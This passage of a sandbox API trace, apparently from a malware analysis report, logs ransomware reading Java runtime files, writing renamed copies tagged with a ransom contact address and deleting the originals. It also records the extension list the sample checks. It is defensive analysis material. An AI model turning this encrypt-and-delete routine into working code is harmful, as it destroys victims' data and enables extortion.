(lpString1=".rar", lpString2=".mui") returned 1 [0282.582] lstrlenW (lpString=".bz2") returned 4 [0282.582] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0282.582] lstrlenW (lpString=".7z") returned 3 [0282.582] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0282.583] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\tipresx.dll.mui") returned 72 [0282.583] lstrlenW (lpString=".dbf") returned 4 [0282.583] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0291.279] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0 [0291.446] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\servertool.exe.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0291.446] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\servertool.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0291.447] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0291.447] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0291.447] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0291.931] GetLastError () returned 0x0 [0291.931] ReadFile (in: hFile=0x4b8, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x95, lpOverlapped=0x0) returned 1 [0291.932] WriteFile (in: hFile=0x4c4, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0xa0, lpOverlapped=0x0) returned 1 [0291.933] ReadFile (in: hFile=0x4b8, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0291.933] WriteFile (in: hFile=0x4c4, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x104, lpOverlapped=0x0) returned 1 [0291.933] SetEndOfFile (hFile=0x4c4) returned 1 [0291.933] CloseHandle (hObject=0x4c4) returned 1 [0291.934] SetFilePointerEx (in: hFile=0x4b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0291.934] SetEndOfFile (hFile=0x4b8) returned 1 [0291.993] CloseHandle (hObject=0x4b8) returned 1 [0291.993] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0291.999] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties")) returned 1 [0292.167] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0292.167] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0292.167] lstrlenW (lpString=".doc") returned 4 [0292.167] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0292.167] lstrlenW (lpString=".docx") returned 5 [0292.167] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0292.167] lstrlenW (lpString=".pdf") returned 4 [0292.167] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0292.167] lstrlenW (lpString=".xls") returned 4 [0292.167] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0292.167] lstrlenW (lpString=".xlsx") returned 5 [0292.167] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0292.167] lstrlenW (lpString=".ppt") returned 4 [0292.167] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0292.167] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0292.167] lstrlenW (lpString=".zip") returned 4 [0292.167] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0292.167] lstrlenW (lpString=".rar") returned 4 [0292.168] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0292.168] lstrlenW (lpString=".bz2") returned 4 [0292.168] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0292.168] lstrlenW (lpString=".7z") returned 3 [0292.168] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0292.168] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0292.168] lstrlenW (lpString=".dbf") returned 4 [0292.168] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0292.168] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0292.168] lstrlenW (lpString=".1cd") returned 4 [0292.168] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0292.168] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0292.168] lstrlenW (lpString=".jpg") returned 4 [0292.168] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0292.168] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0292.168] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0292.168] lstrlenW (lpString=".doc") returned 4 [0292.168] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0292.168] lstrlenW (lpString=".docx") returned 5 [0292.168] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0292.168] lstrlenW (lpString=".pdf") returned 4 [0292.168] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0292.168] lstrlenW (lpString=".xls") returned 4 [0292.168] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0292.168] lstrlenW (lpString=".xlsx") returned 5 [0292.168] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0292.168] lstrlenW (lpString=".ppt") returned 4 [0292.168] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0292.168] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0292.168] lstrlenW (lpString=".zip") returned 4 [0292.168] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0292.168] lstrlenW (lpString=".rar") returned 4 [0292.168] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0292.168] lstrlenW (lpString=".bz2") returned 4 [0292.169] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0292.169] lstrlenW (lpString=".7z") returned 3 [0292.169] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0292.169] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0292.169] lstrlenW (lpString=".dbf") returned 4 [0292.169] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0292.169] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0292.169] lstrlenW (lpString=".1cd") returned 4 [0292.169] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0292.169] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0292.169] lstrlenW (lpString=".jpg") returned 4 [0292.169] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0292.169] lstrcmpiW (lpString1=".pf", lpString2=".gate") returned 1 [0292.169] lstrlenW (lpString="GRAY.pf") returned 7 [0292.169] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0292.170] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=632) returned 1 [0292.170] CloseHandle (hObject=0x4f0) returned 1 [0292.170] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf")) returned 0x20 [0292.170] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0292.170] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0292.170] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.170] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.170] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0292.173] GetLastError () returned 0x0 [0292.173] ReadFile (in: hFile=0x4f0, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x278, lpOverlapped=0x0) returned 1 [0292.174] WriteFile (in: hFile=0x50c, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x280, lpOverlapped=0x0) returned 1 [0292.174] ReadFile (in: hFile=0x4f0, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0292.175] WriteFile (in: hFile=0x50c, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0xe2, lpOverlapped=0x0) returned 1 [0292.175] SetEndOfFile (hFile=0x50c) returned 1 [0292.175] CloseHandle (hObject=0x50c) returned 1 [0292.175] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.175] SetEndOfFile (hFile=0x4f0) returned 1 [0292.437] CloseHandle (hObject=0x4f0) returned 1 [0292.437] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0292.438] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf")) returned 1 [0292.438] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0292.438] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0292.438] lstrlenW (lpString=".doc") returned 4 [0292.438] lstrcmpiW (lpString1=".doc", lpString2="Y.pf") returned -1 [0292.438] lstrlenW (lpString=".docx") returned 5 [0292.438] lstrcmpiW (lpString1=".docx", lpString2="AY.pf") returned -1 [0292.438] lstrlenW (lpString=".pdf") returned 4 [0292.438] lstrcmpiW (lpString1=".pdf", lpString2="Y.pf") returned -1 [0292.438] lstrlenW (lpString=".xls") returned 4 [0292.438] lstrcmpiW (lpString1=".xls", lpString2="Y.pf") returned -1 [0292.439] lstrlenW (lpString=".xlsx") returned 5 [0292.439] lstrcmpiW (lpString1=".xlsx", lpString2="AY.pf") returned -1 [0292.439] lstrlenW (lpString=".ppt") returned 4 [0292.439] lstrcmpiW (lpString1=".ppt", lpString2="Y.pf") returned -1 [0292.439] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0292.439] lstrlenW (lpString=".zip") returned 4 [0292.439] lstrcmpiW (lpString1=".zip", lpString2="Y.pf") returned -1 [0292.439] lstrlenW (lpString=".rar") returned 4 [0292.439] lstrcmpiW (lpString1=".rar", lpString2="Y.pf") returned -1 [0292.439] lstrlenW (lpString=".bz2") returned 4 [0292.439] lstrcmpiW (lpString1=".bz2", lpString2="Y.pf") returned -1 [0292.439] lstrlenW (lpString=".7z") returned 3 [0292.439] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0292.439] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0292.439] lstrlenW (lpString=".dbf") returned 4 [0292.439] lstrcmpiW (lpString1=".dbf", lpString2="Y.pf") returned -1 [0292.439] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0292.439] lstrlenW (lpString=".1cd") returned 4 [0292.439] lstrcmpiW (lpString1=".1cd", lpString2="Y.pf") returned -1 [0292.439] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0292.439] lstrlenW (lpString=".jpg") returned 4 [0292.439] lstrcmpiW (lpString1=".jpg", lpString2="Y.pf") returned -1 [0292.439] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0292.439] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0292.439] lstrlenW (lpString=".doc") returned 4 [0292.440] lstrcmpiW (lpString1=".doc", lpString2="Y.pf") returned -1 [0292.440] lstrlenW (lpString=".docx") returned 5 [0292.440] lstrcmpiW (lpString1=".docx", lpString2="AY.pf") returned -1 [0292.440] lstrlenW (lpString=".pdf") returned 4 [0292.440] lstrcmpiW (lpString1=".pdf", lpString2="Y.pf") returned -1 [0292.440] lstrlenW (lpString=".xls") returned 4 [0292.440] lstrcmpiW (lpString1=".xls", lpString2="Y.pf") returned -1 [0292.440] lstrlenW (lpString=".xlsx") returned 5 [0292.440] lstrcmpiW (lpString1=".xlsx", lpString2="AY.pf") returned -1 [0292.440] lstrlenW (lpString=".ppt") returned 4 [0292.440] lstrcmpiW (lpString1=".ppt", lpString2="Y.pf") returned -1 [0292.440] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0292.440] lstrlenW (lpString=".zip") returned 4 [0292.440] lstrcmpiW (lpString1=".zip", lpString2="Y.pf") returned -1 [0292.440] lstrlenW (lpString=".rar") returned 4 [0292.440] lstrcmpiW (lpString1=".rar", lpString2="Y.pf") returned -1 [0292.440] lstrlenW (lpString=".bz2") returned 4 [0292.440] lstrcmpiW (lpString1=".bz2", lpString2="Y.pf") returned -1 [0292.440] lstrlenW (lpString=".7z") returned 3 [0292.440] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0292.440] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0292.440] lstrlenW (lpString=".dbf") returned 4 [0292.440] lstrcmpiW (lpString1=".dbf", lpString2="Y.pf") returned -1 [0292.440] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0292.440] lstrlenW (lpString=".1cd") returned 4 [0292.440] lstrcmpiW (lpString1=".1cd", lpString2="Y.pf") returned -1 [0292.440] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50 [0292.440] lstrlenW (lpString=".jpg") returned 4 [0292.440] lstrcmpiW (lpString1=".jpg", lpString2="Y.pf") returned -1 [0292.440] lstrcmpiW (lpString1=".pf", lpString2=".gate") returned 1 [0292.441] lstrlenW (lpString="PYCC.pf") returned 7 [0292.441] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0292.441] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=274474) returned 1 [0292.441] CloseHandle (hObject=0x4f0) returned 1 [0292.441] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf")) returned 0x20 [0292.441] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0292.441] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0292.442] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.442] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.442] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0292.442] GetLastError () returned 0x0 [0292.442] ReadFile (in: hFile=0x4f0, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x4302a, lpOverlapped=0x0) returned 1 [0292.491] WriteFile (in: hFile=0x4d4, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x43030, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x43030, lpOverlapped=0x0) returned 1 [0292.499] ReadFile (in: hFile=0x4f0, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0292.500] WriteFile (in: hFile=0x4d4, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0xe2, lpOverlapped=0x0) returned 1 [0292.500] SetEndOfFile (hFile=0x4d4) returned 1 [0292.500] CloseHandle (hObject=0x4d4) returned 1 [0292.504] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.504] SetEndOfFile (hFile=0x4f0) returned 1 [0292.554] CloseHandle (hObject=0x4f0) returned 1 [0292.554] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0292.555] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\pycc.pf")) returned 1 [0292.555] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0292.555] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0292.555] lstrlenW (lpString=".doc") returned 4 [0292.555] lstrcmpiW (lpString1=".doc", lpString2="C.pf") returned -1 [0292.555] lstrlenW (lpString=".docx") returned 5 [0292.555] lstrcmpiW (lpString1=".docx", lpString2="CC.pf") returned -1 [0292.555] lstrlenW (lpString=".pdf") returned 4 [0292.555] lstrcmpiW (lpString1=".pdf", lpString2="C.pf") returned -1 [0292.555] lstrlenW (lpString=".xls") returned 4 [0292.555] lstrcmpiW (lpString1=".xls", lpString2="C.pf") returned -1 [0292.556] lstrlenW (lpString=".xlsx") returned 5 [0292.556] lstrcmpiW (lpString1=".xlsx", lpString2="CC.pf") returned -1 [0292.556] lstrlenW (lpString=".ppt") returned 4 [0292.556] lstrcmpiW (lpString1=".ppt", lpString2="C.pf") returned -1 [0292.556] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0292.556] lstrlenW (lpString=".zip") returned 4 [0292.556] lstrcmpiW (lpString1=".zip", lpString2="C.pf") returned -1 [0292.556] lstrlenW (lpString=".rar") returned 4 [0292.556] lstrcmpiW (lpString1=".rar", lpString2="C.pf") returned -1 [0292.556] lstrlenW (lpString=".bz2") returned 4 [0292.556] lstrcmpiW (lpString1=".bz2", lpString2="C.pf") returned -1 [0292.556] lstrlenW (lpString=".7z") returned 3 [0292.556] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0292.556] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0292.556] lstrlenW (lpString=".dbf") returned 4 [0292.556] lstrcmpiW (lpString1=".dbf", lpString2="C.pf") returned -1 [0292.556] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0292.556] lstrlenW (lpString=".1cd") returned 4 [0292.556] lstrcmpiW (lpString1=".1cd", lpString2="C.pf") returned -1 [0292.556] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0292.556] lstrlenW (lpString=".jpg") returned 4 [0292.556] lstrcmpiW (lpString1=".jpg", lpString2="C.pf") returned -1 [0292.557] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0292.557] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0292.557] lstrlenW (lpString=".doc") returned 4 [0292.557] lstrcmpiW (lpString1=".doc", lpString2="C.pf") returned -1 [0292.557] lstrlenW (lpString=".docx") returned 5 [0292.557] lstrcmpiW (lpString1=".docx", lpString2="CC.pf") returned -1 [0292.557] lstrlenW (lpString=".pdf") returned 4 [0292.557] lstrcmpiW (lpString1=".pdf", lpString2="C.pf") returned -1 [0292.557] lstrlenW (lpString=".xls") returned 4 [0292.557] lstrcmpiW (lpString1=".xls", lpString2="C.pf") returned -1 [0292.557] lstrlenW (lpString=".xlsx") returned 5 [0292.557] lstrcmpiW (lpString1=".xlsx", lpString2="CC.pf") returned -1 [0292.557] lstrlenW (lpString=".ppt") returned 4 [0292.557] lstrcmpiW (lpString1=".ppt", lpString2="C.pf") returned -1 [0292.557] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0292.557] lstrlenW (lpString=".zip") returned 4 [0292.557] lstrcmpiW (lpString1=".zip", lpString2="C.pf") returned -1 [0292.557] lstrlenW (lpString=".rar") returned 4 [0292.557] lstrcmpiW (lpString1=".rar", lpString2="C.pf") returned -1 [0292.557] lstrlenW (lpString=".bz2") returned 4 [0292.557] lstrcmpiW (lpString1=".bz2", lpString2="C.pf") returned -1 [0292.557] lstrlenW (lpString=".7z") returned 3 [0292.557] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0292.557] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0292.557] lstrlenW (lpString=".dbf") returned 4 [0292.557] lstrcmpiW (lpString1=".dbf", lpString2="C.pf") returned -1 [0292.557] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0292.557] lstrlenW (lpString=".1cd") returned 4 [0292.557] lstrcmpiW (lpString1=".1cd", lpString2="C.pf") returned -1 [0292.557] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\PYCC.pf") returned 50 [0292.558] lstrlenW (lpString=".jpg") returned 4 [0292.558] lstrcmpiW (lpString1=".jpg", lpString2="C.pf") returned -1 [0292.558] lstrcmpiW (lpString1=".pf", lpString2=".gate") returned 1 [0292.558] lstrlenW (lpString="sRGB.pf") returned 7 [0292.558] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0292.558] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=3144) returned 1 [0292.558] CloseHandle (hObject=0x4f0) returned 1 [0292.558] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf")) returned 0x20 [0292.558] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0292.559] CreateFileW 